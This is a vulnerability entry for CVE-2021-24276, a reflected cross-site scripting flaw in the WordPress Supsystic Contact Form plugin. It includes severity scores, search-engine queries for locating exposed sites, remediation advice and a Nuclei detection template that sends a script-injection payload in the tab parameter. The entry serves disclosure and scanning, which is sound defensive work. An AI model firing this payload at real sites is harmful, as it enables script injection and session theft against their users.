SecurityContext

CVE-2021-24276: WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.16044
  • Epss percentile: 0.96995
  • Cpe: cpe:2.3:a:supsystic:contact_form:*:*:*:*:*:wordpress:*:*

Metadata

  • Fofa-query: body=/wp-content/plugins/contact-form-plugin/
  • Framework: wordpress
  • Max-request: 1
  • Product: contact_form
  • Publicwww-query: /wp-content/plugins/contact-form-plugin/
  • Shodan-query: http.html:/wp-content/plugins/contact-form-plugin/
  • Vendor: supsystic

Products

ProductIndexedUrl
supsystic:contact_formyes/v1/products/supsystic/contact_form

Labels

  • Name: WordPress Supsystic Contact Form - Reflected XSS
  • Impact: Attackers can execute malicious scripts in the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Update to version 1.7.15 or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to visit a malicious page
  • Labels source: projectdiscovery
  • From cve: CVE-2021-24276

```yaml

id: CVE-2021-24276

info:

name: WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting

author: dhiyaneshDK

severity: medium

description: WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.

remediation: |

Update to the latest version of the WordPress Supsystic Contact Form plugin (1.7.15 or higher) to mitigate this vulnerability.

reference:

- https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c

- http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html

- https://nvd.nist.gov/vuln/detail/CVE-2021-24276

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2021-24276

cwe-id: CWE-79

epss-score: 0.16044

epss-percentile: 0.96995

cpe: cpe:2.3:a:supsystic:contact_form:*:*:*:*:*:wordpress:*:*

metadata:

max-request: 1

vendor: supsystic

product: contact_form

framework: wordpress

shodan-query: http.html:/wp-content/plugins/contact-form-plugin/

fofa-query: body=/wp-content/plugins/contact-form-plugin/

publicwww-query: /wp-content/plugins/contact-form-plugin/

tags: cve2021,cve,wordpress,wp-plugin,wpscan,packetstorm,supsystic,vuln

http:

- method: GET

path:

- '{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

matchers-condition: and

matchers:

- type: word

part: body

words:

- '</script><script>alert(document.domain)</script>'

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

digest: 4a0a00473045022100dbd0a330a0ec97c7f649fcf182a49fab173b46d28cf55363e9f24e0e7772214b022003e6b17254273395bd433629c5abb2ee526c1f17dee6d662b05fa5a0a200a94e:922c64590222798bb761d5b6d8e72950

```